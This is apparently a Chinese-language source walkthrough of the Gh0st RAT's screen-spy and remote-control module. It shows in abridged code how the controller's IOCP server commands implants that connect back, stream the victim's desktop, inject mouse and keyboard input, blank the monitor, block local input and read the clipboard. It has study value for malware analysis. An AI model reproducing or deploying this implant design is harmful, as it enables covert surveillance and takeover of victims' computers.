远程主机流程图:
客户机流程图:
CGh0stApp theApp; 唯一的实例在初始化中调用了主框架的 Activate 函数:
BOOL CGh0stApp::InitInstance()
{
((CMainFrame*) m_pMainWnd)->Activate(nPort, nMaxConnection);
}
Activate 函数构造了一个 CIOCPServer 对象,然后调用 Initialize 函数初始化:
void CMainFrame::Activate(UINT nPort, UINT nMaxConnections)
{
m_iocpServer = new CIOCPServer;
m_iocpServer->Initialize(NotifyProc, this, 100000, nPort)
}
Initialize 注册了一个回调函数 m_pNotifyProc ,创建了一个监听套接字,一个监听线程 ListenThreadProc ,然后初始化 IOCP 服务端
bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMaxConnections, int nPort)
{
m_pNotifyProc = pNotifyProc;
m_socListen = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);
nRet = bind(m_socListen, (LPSOCKADDR)&saServer, sizeof(struct sockaddr));
nRet = listen(m_socListen, SOMAXCONN);
m_hThread =(HANDLE)_beginthreadex(NULL,0,ListenThreadProc,(void*) this,0,&dwThreadId);
InitializeIOCP();
}
IOCP 注册的回调函数 NotifyProc ,
收到 NC_CLIENT_DISCONNECT 就从客户列表视图移除,
收到 NC_RECEIVE 调用 ProcessReceive 函数,
收到 NC_RECEIVE_COMPLETE 调用 ProcessReceiveComplete 函数
void CALLBACK CMainFrame::NotifyProc(LPVOID lpParam, ClientContext *pContext, UINT nCode)
{
switch (nCode)
{
case NC_CLIENT_CONNECT:
break;
case NC_CLIENT_DISCONNECT:
g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);
break;
case NC_TRANSMIT:
break;
case NC_RECEIVE:
ProcessReceive(pContext);
break;
case NC_RECEIVE_COMPLETE:
ProcessReceiveComplete(pContext);
break;
}
}
void CMainFrame::ProcessReceive(ClientContext *pContext)
{
if (pContext == NULL)
return;
// 如果管理对话框打开,交给相应的对话框处理
CDialog *dlg = (CDialog *)pContext->m_Dialog[1];
// 交给窗口处理
if (pContext->m_Dialog[0] > 0)
{
switch (pContext->m_Dialog[0])
{
case SCREENSPY_DLG:
((CScreenSpyDlg *)dlg)->OnReceive();
break;
default:
break;
}
return;
}
}
void CMainFrame::ProcessReceiveComplete(ClientContext *pContext)
{
if (pContext == NULL)
return;
// 如果管理对话框打开,交给相应的对话框处理
CDialog *dlg = (CDialog *)pContext->m_Dialog[1];
// 交给窗口处理
if (pContext->m_Dialog[0] > 0)
{
switch (pContext->m_Dialog[0])
{
case SCREENSPY_DLG:
((CScreenSpyDlg *)dlg)->OnReceiveComplete();
break;
default:
break;
}
return;
}
switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_AUTH: // 要求验证
m_iocpServer->Send(pContext, (PBYTE)m_PassWord.GetBuffer(0), m_PassWord.GetLength() + 1);
break;
case TOKEN_HEARTBEAT: // 回复心跳包
{
BYTE bToken = COMMAND_REPLAY_HEARTBEAT;
m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
}
break;
case TOKEN_LOGIN: // 上线包
{
if (m_iocpServer->m_nMaxConnections <= g_pConnectView->GetListCtrl().GetItemCount())
{
closesocket(pContext->m_Socket);
}
else
{
pContext->m_bIsMainSocket = true;
g_pConnectView->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext);
}
// 激活
BYTE bToken = COMMAND_ACTIVED;
m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
}
break;
case TOKEN_BITMAPINFO: //
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事
g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
break;
// 命令停止当前操作
default:
closesocket(pContext->m_Socket);
break;
}
}
现在从客户连接列表右键弹出菜单,选择“屏幕控制”选项开始。
ON_COMMAND(IDM_SCREENSPY, OnScreenspy)
void CGh0stView::OnScreenspy()
{
BYTE bToken = COMMAND_SCREEN_SPY;
SendSelectCommand(&bToken, sizeof(BYTE));
}
void CGh0stView::SendSelectCommand(PBYTE pData, UINT nSize)
{
ClientContext* pContext = (ClientContext*)m_pListCtrl->GetItemData(nItem);
m_iocpServer->Send(pContext, pData, nSize);
}
void CIOCPServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize)
{
//使用zlib压缩数据
//构造包头 'G' 'h' '0' 's' 't' | PacketLen | UnZipLen
//填充压缩后的数据
OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);
}
IOCP 的线程函数收到发送过来的消息,将这个消息映射到函数 IO_MESSAGE_HANDLER(IOWrite, OnClientWriting)
unsigned CIOCPServer::ThreadPoolFunc (LPVOID thisContext)
{
pThis->ProcessIOMessage(pOverlapPlus->m_ioType, lpClientContext, dwIoSize);
}
bool CIOCPServer::OnClientWriting(ClientContext* pContext, DWORD dwIoSize)
{
OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_TRANSMIT); //表示正在传输,无实际意义
int nRetVal = WSASend(pContext->m_Socket, //发送命令到客户机
&pContext->m_wsaOutBuffer,
1,
&pContext->m_wsaOutBuffer.len,
ulFlags,
&pOverlap->m_ol,
NULL);
}
客户机收到命令后回复主机已经准备好,ThreadPoolFunc 收到消息做好读操作
IO_MESSAGE_HANDLER(IORead, OnClientReading)
bool CIOCPServer::OnClientReading(ClientContext* pContext, DWORD dwIoSize)
{
//验证数据包格式
//zlib解压缩数据
//通知主框架接收完成
m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_RECEIVE_COMPLETE);
}
void CALLBACK CMainFrame::NotifyProc 函数响应操作,调用 ProcessReceiveComplete 函数,
case TOKEN_BITMAPINFO: 响应操作
g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
gh0stView 收到消息,转到 OnOpenScreenSpyDialog 函数处理
LRESULT CGh0stView::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
{
//创建了一个 CScreenSpyDlg 的非模式对话框
CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);
}
服务端不停地收到客户机发过来的数据,IOCP 接收线程产生 NC_RECEIVE 消息,CMainFrame::NotifyProc 处理,调用 ProcessReceive
显示帧数和进度 //192.168.1.101 800 * 600 第1532帧 100%
NC_RECEIVE_COMPLETE 消息调用 ProcessReceiveComplete 函数处理
((CScreenSpyDlg *)dlg)->OnReceiveComplete();
void CScreenSpyDlg::OnReceiveComplete()
{
//画图像
}
CScreenSpyDlg 重载 CDialog 的虚函数 PreTranslateMessage(MSG* pMsg) ,处理鼠标键盘事件
BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
{
#define MAKEDWORD(h,l) (((unsigned long)h << 16) | l)
CRect rect;
GetClientRect(&rect);
switch (pMsg->message)
{
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_MOUSEMOVE:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
case WM_MOUSEWHEEL:
{
MSG msg;
memcpy(&msg, pMsg, sizeof(MSG));
msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
msg.pt.x += m_HScrollPos;
msg.pt.y += m_VScrollPos;
SendCommand(&msg);
}
break;
case WM_KEYDOWN:
case WM_KEYUP:
case WM_SYSKEYDOWN:
case WM_SYSKEYUP:
if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
{
MSG msg;
memcpy(&msg, pMsg, sizeof(MSG));
msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
msg.pt.x += m_HScrollPos;
msg.pt.y += m_VScrollPos;
SendCommand(&msg);
}
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
return true;
break;
default:
break;
}
return CDialog::PreTranslateMessage(pMsg);
}
SendCommand 发送控制命令 COMMAND_SCREEN_CONTROL ,带上实际的消息数据到客户机
void CScreenSpyDlg::SendCommand(MSG* pMsg)
{
if (!m_bIsCtrl)
return;
LPBYTE lpData = new BYTE[sizeof(MSG) + 1];
lpData[0] = COMMAND_SCREEN_CONTROL;
memcpy(lpData + 1, pMsg, sizeof(MSG));
m_iocpServer->Send(m_pContext, lpData, sizeof(MSG) + 1);
delete[] lpData;
}
-----------------------------------------------------------------------------
客户端主函数:
创建一个 CClientSocket 对象,一个 CKernelManager 对象,关联 socketClient 到 manager
int main(int argc, char **argv)
{
CClientSocket socketClient;
socketClient.Connect(lpszHost, dwPort);
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
socketClient.setManagerCallBack(&manager);
}
class CKernelManager : public CManager
{
public:
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
}
OnReceive 函数是个虚函数
Connect 函数连接到服务器,同时创建了一个工作线程 WorkThread,
bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
{
connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr))
m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);
}
WorkThread 接受数据,调用 OnRead 成员函数处理数据,
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
{
int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);
if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);
}
OnRead 函数核查数据,转交给成员对象 m_pManager 处理,
void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
{
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
}
class CClientSocket
{
private:
CManager *m_pManager;
}
m_pManager 是CClientSocket 的一个私有成员函数指针,指向 CManager,
socketClient.setManagerCallBack(&manager);
这句代码设置 m_pManager 指向 CKernelManager 的对象,由于 CKernelManager 重新定义了 OnReceive 虚函数,
所以 m_pManager->OnReceive 实际上调用了 CKernelManager 的 OnReceive
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_ACTIVED:
InterlockedExchange((LONG *)&m_bIsActived, true);
break;
case COMMAND_SCREEN_SPY: // 屏幕查看
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包
break;
}
}
Loop_ScreenManager 创建了一个 CClientSocket 对象,连接到远程主机,然后创建了一个 CScreenManager 对象,关联到 socketClient
DWORD WINAPI Loop_ScreenManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CScreenManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
CScreenManager 构造函数创建了 2 个 工作线程
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
{
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
}
WorkThread 这个工作线程做的工作就是首先发送一个 TOKEN_BITMAPINFO 类型的数据包,
远程主机收到这个包后,CMainFrame::NotifyProc 函数响应,调用 ProcessReceiveComplete 函数,
case TOKEN_BITMAPINFO: 响应操作
g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
自定义窗口消息被传到 gh0stView,CGh0stView::OnOpenScreenSpyDialog 函数被调用,此时一个 CScreenSpyDlg 对象被创建。
然后做的工作就是不停地发送桌面位图到远程主机,
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
CScreenManager *pThis = (CScreenManager *)lparam;
pThis->sendBITMAPINFO();
// 等控制端对话框打开
pThis->WaitForDialogOpen();
pThis->sendFirstScreen();
try // 控制端强制关闭时会出错
{
while (pThis->m_bIsWorking)
pThis->sendNextScreen();
}catch(...){};
return 0;
}
ControlThread 函数的主要目的是让客户机一直让显示器省电,黑屏
DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
{
if (pThis->m_bIsBlankScreen)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
bIsScreenBlanked = true;
}
}
下面看客户端和服务器端是怎么进行屏幕控制的
回到 Loop_ScreenManager 函数,有一句代码 CScreenManager manager(&socketClient);
class CScreenManager : public CManager
CScreenManager 首先调用基类的构造函数 CManager(pClient)
CManager 和 CClientSocket 是友元类,CManager 构造函数设置成员函数指针 m_pClient指向传进来的 pClient,同时设置 CClientSocket
的成员函数指针 m_pManager 指向自己 this
CManager::CManager(CClientSocket *pClient)
{
m_pClient = pClient;
m_pClient->setManagerCallBack(this);
}
void CClientSocket::setManagerCallBack( CManager *pManager )
{
m_pManager = pManager;
}
CScreenManager 重新定义了 CManager 的虚函数 OnReceive,当 CClientSocket 对象的线程函数收到数据包时候,
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam) 会调用
pThis->OnRead((LPBYTE)buff, nSize); OnRead 会调用
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
try
{
switch (lpBuffer[0])
{
case COMMAND_NEXT:
// 通知内核远程控制端对话框已打开,WaitForDialogOpen可以返回
NotifyDialogIsOpen();
break;
case COMMAND_SCREEN_RESET:
ResetScreen(*(LPBYTE)&lpBuffer[1]);
break;
case COMMAND_ALGORITHM_RESET:
m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
break;
case COMMAND_SCREEN_CTRL_ALT_DEL:
::SimulateCtrlAltDel();
break;
case COMMAND_SCREEN_CONTROL:
{
// 远程仍然可以操作
BlockInput(false);
ProcessCommand(lpBuffer + 1, nSize - 1);
BlockInput(m_bIsBlockInput);
}
break;
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定
m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_BLANK:
m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_CAPTURE_LAYER:
m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
break;
case COMMAND_SCREEN_GET_CLIPBOARD:
SendLocalClipboard();
break;
case COMMAND_SCREEN_SET_CLIPBOARD:
UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
break;
default:
break;
}
}catch(...){}
}
服务端发送的鼠标键盘事件由 ProcessCommand 函数处理,此函数的功能就是切换到当前桌面,模拟鼠标键盘输入
SwitchInputDesktop()是自定义函数
void CScreenManager::ProcessCommand( LPBYTE lpBuffer, UINT nSize )
{
// 数据包不合法
if (nSize % sizeof(MSG) != 0)
return;
SwitchInputDesktop();
// 命令个数
int nCount = nSize / sizeof(MSG);
// 处理多个命令
for (int i = 0; i < nCount; i++)
{
MSG *pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));
switch (pMsg->message)
{
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_MOUSEMOVE:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
{
POINT point;
point.x = LOWORD(pMsg->lParam);
point.y = HIWORD(pMsg->lParam);
SetCursorPos(point.x, point.y);
SetCapture(WindowFromPoint(point));
}
break;
default:
break;
}
switch(pMsg->message)
{
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);
break;
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), 0, 0);
break;
case WM_KEYUP:
case WM_SYSKEYUP:
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
}